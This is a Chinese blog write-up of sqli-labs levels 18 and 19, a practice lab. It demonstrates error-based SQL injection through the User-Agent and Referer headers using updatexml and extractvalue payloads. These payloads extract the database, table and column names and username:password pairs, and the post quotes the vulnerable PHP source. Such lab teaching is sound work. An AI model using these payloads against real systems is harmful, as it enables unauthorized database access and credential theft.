sqli-labs 通关指南:Less 18、19

Less 18、19 对输入的参数都进行了严格的过滤,我们将在其他 HTTP 头发现 Sql 注入点。为了更方便地测试,需要结合 burp 进行抓包,注入方式和 Less 17 一样采用报错注入。

Less 18#

POST-Header Injection-Uagent field-Error based (基于错误的用户代理,头部 POST 注入)

判断注入类型#

首先我们注入正确的用户名和密码,观察到网页回显了 IP Address 和 User Agent。用户代理 User Agent 是一个 HTTP 头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。

接下来注入个错误的用户名和密码,网页显示登录失败且仅回显了 IP Address。

判断注入类型,在用户名使用下面的所有注入,网页都回显密码修改失败。

Copy Highlighter-hljs
a' OR 1 = 1# a') OR 1 = 1# a')) OR 1 = 1# a" OR 1 = 1# a") OR 1 = 1# a")) OR 1 = 1#


在密码使用上面的所有注入,网页都回显密码修改失败。

注意到登录成功时,User Agent 会被回显到网页上,我们考虑 User Agent 头可能会存在注入。使用 brup 抓包,注入各种参数试试,都登录失败。

考虑到 Less 17 的经验,推断 uname 和 passwd 字段都进行了强效的过滤,我们注入正确的 uname 和 passwd 之后再次注入。此时发现当注入单引号闭合时,网页返回报错信息。

Copy Highlighter-hljs
User-Agent: '



到此,我们得知在登录成功之后会执行另一个 Sql 语句,该语句会因为 User Agent 头而存在字符型注入漏洞。

获取数据库信息#

由于我们不知道第二个 Sql 语句具体长啥样,因此我们要先测试如何正确闭合该 Sql 语句。使用单引号闭合后,使用 “#” 注释掉后面的语句,注入失败。

Copy Highlighter-hljs
User-Agent: '#


注入 2 个连续的单引号,发现闭合成功,由此可见 2 个单引号分别闭合了 2 侧的单引号。

Copy Highlighter-hljs
User-Agent: ''


在注入的两个单引号之间可以插入其他 Sql 语句,我们在这里放置 updatexml() 报错注入语句。注意使用单引号闭合两侧的 Sql 语句时,相当于把它分割成了 2 部分,插入 updatexml() 报错时要用 OR 进行连接。

Copy Highlighter-hljs
User-Agent: ' OR updatexml(1,concat("!",database()),2) OR '


知道了闭合方式之后,注入的步骤和 Less 17 差不多。爆表名,XPath_string 参数可以使用一个 SELECT 查询结果,使用 group_concat() 函数聚合。

Copy Highlighter-hljs
User-Agent: ' OR updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2) OR '


爆字段名,继续使用 updatexml() 报错注入。

Copy Highlighter-hljs
User-Agent: ' OR updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2) OR '

获取目标信息#

使用报错注入回显用户名和密码,先用一个表暂存从 users 表中取出所有数据的查询,然后再从这个暂存的表中取出数据。

Copy Highlighter-hljs
User-Agent: ' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)) OR '


通过修改 LIMIT 子句的返回行数,就能取出其他行的查询结果。

Copy Highlighter-hljs
User-Agent: ' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)) OR '

关卡 Sql 语句#

源码如下,不出所料 uname 和 passwd 都进行了强效的过滤,这导致了 SELECT 语句难以注入。在成功登录的情况下,网页会使用 INSERT 语句把 User-Agent 写入数据库中,而我们就是使用 INSERT 语句进行注入的。

Copy Highlighter-hljs
if(isset($_POST['uname']) && isset($_POST['passwd'])) { $uname = check_input($_POST['uname']); $passwd = check_input($_POST['passwd']); $sql = "SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; $result1 = mysql_query($sql); $row1 = mysql_fetch_array($result1); if($row1) { echo '<font color= "#FFFF00" font size = 3 >'; $insert = "INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)"; mysql_query($insert); //echo 'Your IP ADDRESS is: ' .$IP; echo "</font>"; //echo "<br>"; echo '<font color= "#0000ff" font size = 3 >'; echo 'Your User Agent is: ' .$uagent; echo "</font>"; echo "<br>"; print_r(mysql_error()); echo "<br><br>"; echo '<img src="../images/flag.jpg" />'; echo "<br>"; } else { echo '<font color= "#0000ff" font size="3">'; //echo "Try again looser"; print_r(mysql_error()); echo "</br>"; echo "</br>"; echo '<img src="../images/slap.jpg" />'; echo "</font>"; } }

为了加深理解,我们把闭合后的 INSERT 输出来看看,可以看到 User-Agent 中的 payload 被成功放入。

Copy Highlighter-hljs
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('' OR updatexml(1,concat("!",database()),2) OR '', '127.0.0.1', 'admin')

Less 19#

POST-Header Injection-Referer field-Error based (基于头部的 Referer POST 报错注入)

判断注入类型#

首先我们注入正确的用户名和密码,观察到网页回显了 IP Address 和 Referer。引用来源 Referer是 HTTP 头的一个字段,用于告诉服务器该网页是从哪个页面链接过来的。

接下来注入个错误的用户名和密码,网页显示登录失败且仅回显了 IP Address。

判断注入类型,在用户名和密码都使用下面的所有注入,网页都回显密码修改失败。

Copy Highlighter-hljs
a' OR 1 = 1# a') OR 1 = 1# a')) OR 1 = 1# a" OR 1 = 1# a") OR 1 = 1# a")) OR 1 = 1#


注意到登录成功时,Referer 会被回显到网页上,我们考虑 Referer 头可能会存在注入。使用 brup 抓包,注入正确的 uname 和 passwd 之后在 Referer 头使用单引号闭合。此时发现当注入单引号闭合时,网页返回报错信息。

Copy Highlighter-hljs
Referer: '



到此,我们得知在登录成功之后会执行另一个 Sql 语句,该语句会因为 User Agent 头而存在字符型注入漏洞。

获取数据库信息#

由于我们不知道第二个 Sql 语句具体长啥样,因此我们要先测试如何正确闭合该 Sql 语句。使用单引号闭合后,使用 “#” 注释掉后面的语句,注入失败。

Copy Highlighter-hljs
Referer: '#


注入 2 个连续的单引号,发现闭合成功,由此可见 2 个单引号分别闭合了 2 侧的单引号。

Copy Highlighter-hljs
Referer: ''


注入的步骤和 Less 17 差不多,这次我们使用 extractvalue() 报错注入。extractvalue() 报错注入和 updatexml() 报错差不多,extractvalue() 函数时对 XML 文档进行查询的函数。函数原型为:

Copy Highlighter-hljs
extractvalue(XML_document, XPath_string)
参数 说明
XML_document String,XML 文档对象的名称
XPath_string Xpath 格式的字符串
爆数据库名,在注入的两个单引号之间放置 extractvalue() 报错注入。
Copy Highlighter-hljs
Referer: ' OR extractvalue(1,concat("!",database())) OR '


爆表名,XPath_string 参数可以使用一个 SELECT 查询结果,使用 group_concat() 函数聚合。

Copy Highlighter-hljs
Referer: ' OR extractvalue(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security'))) OR '


爆字段名,继续使用 extractvalue() 报错注入。

Copy Highlighter-hljs
Referer: ' OR extractvalue(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users'))) OR '

获取目标信息#

使用报错注入回显用户名和密码,先用一个表暂存从 users 表中取出所有数据的查询,然后再从这个暂存的表中取出数据。

Copy Highlighter-hljs
Referer: ' OR (extractvalue(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)))) OR '

关卡 Sql 语句#

此处向数据库插入的是 Referer 头,其他部分和 Less 18 类似。

Copy Highlighter-hljs
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')
posted @   乌漆WhiteMoon  阅读(1914)  评论(0编辑  收藏  举报
编辑推荐:
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· 没有源码,如何修改代码逻辑?
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)
点击右上角即可分享
微信分享提示
CONTENTS